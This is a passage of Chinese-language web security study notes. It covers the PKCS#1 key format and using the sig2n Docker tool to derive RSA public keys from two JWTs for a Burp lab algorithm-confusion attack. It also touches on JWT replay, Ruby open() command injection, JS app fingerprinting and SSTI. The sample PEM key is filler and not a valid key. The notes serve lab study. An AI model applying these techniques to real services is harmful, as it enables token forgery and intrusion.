
(2.2)内容:PKCS#1格式的公钥主要包含模数(n)和指数(e),私钥则包含更多的参数,如私钥指数(d)、素数因子(p和q)等。

PEM格式举例:

——-BEGIN PUBLIC KEY——-

MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCdP47Y99R33m27G84z7nW7j2W2

d9m8z4L5g8v7g9k7z8v7G8v9W7j2W2d9m8z4L5g8v7g9k7z8v7G8v9W7j2W2d9m8z

…(省略部分内容)

——-END PUBLIC KEY——-

(2.3)用途:PKCS#1主要用于RSA加密和解密操作,确保数据的安全传输,常用于数字签名、加密通信等场景。

示例(该过程是计算而不是爆破):

假设你有两个 JWT 令牌 token1 和 token2,你可以运行以下命令:

1
2

docker run --rm -it portswigger/sig2n token1 token2

工具会输出一个或多个潜在的派生公钥,你可以使用这些公钥来构造和验证 JWT。

原理:RSA算法基于大素数的乘积难以分解的数学特性。给定两个不同的JWT签名,可以通过它们的签名值和消息内容来推导出可能的公钥参数(如模数n和指数e)

Burp实验靶场(现有的token【令牌】值派生出公钥)

(1)注销并重新登录,复制新的JWT会话cookie并保存它。服务器生成了两个有效的JWT。

(2)在终端中,运行以下命令,将两个JWT作为参数传入。请注意,第一次运行此命令时,可能需要几分钟的时间才能从Docker Hub中提取映像。

1
docker run --rm -it portswigger/sig2n <token1> <token2>

(3)验证X.509和PKCS1 格式的jwt 哪种有效,并利用该格式的公钥进行JWT混淆案例一的流程,进行混淆则成功。

4.1.2.2.5 JWT补充知识点:
4.1.2.2.5.1 JW重放:

如果希望特定令牌只能使用一次,该如何操作呢?设想这样一个场景:用户利用生成的令牌来调用我们 API 中的 DELETE 方法。然而,在一天之后(此时理论上用户已不再具备相应权限),他试图再次使用该令牌,即实施所谓的重播攻击。

4.1.2.2.5.2 sql注入:

4.1.2.2.5.3 命令执行:

如果服务器后端使用的是Ruby,并且在读取密钥文件时使用了open函数,那么可能会存在命令注入的风险。这是因为Ruby的open函数在处理某些输入时,可能会将输入作为命令执行,尤其是在输入中包含管道符 | 或其他特殊字符时。

4.2 组件漏洞

5 Javascript安全

5.1 JS渗透测试

JS开发的web应用和php、Java等区别在于即使没有源代码,也可以通过浏览器查看源代码获取真实的点,相当于js是白盒测试

5.2 如何判断JS开发应用

  • 插件wappalyyzer
  • 源代码架构
  • 引入多个js文件
  • 一般有/static/js/app.js 等顺序的js文件
  • cookie中有connect.sid

6 python安全

6.1 PYC文件反编译

pyc文件是py文件编译后产生的字节码文件,pyc文件经过python解释器最终会生成机器码运行

6.2 Python-web-SSTI

漏洞成因就是服务器接收了用户的恶意输入后,未经任何处理就将其作为 web 应用模板内容的一部分,模板引擎在进行目标编译渲染后,执行了用户插入的可以破坏模板的语句,因此可能导致敏感信息的泄露、代码执行、Getshell等问题,影响范围主要取决于模板引擎的复杂性

6.2.1 如何检测

输入的数据会被浏览器利用当前的脚本语言调用解析执行

6.2.2 出现点

  • 存在模板引用的地方,如404错误页面显示
  • 存在数据接收引用的地方,如模板那解析获取参数数据

6.3 SSTI模板注入分析

web应用有很多模板,有显示界面和样式;它解析的时候,一般会取出数据来进行解析,即这是一个可控参数,如果我们能获取改参数并将代码注入其中其中,网站就会解析我们的攻击代码,实现攻击

关键词:template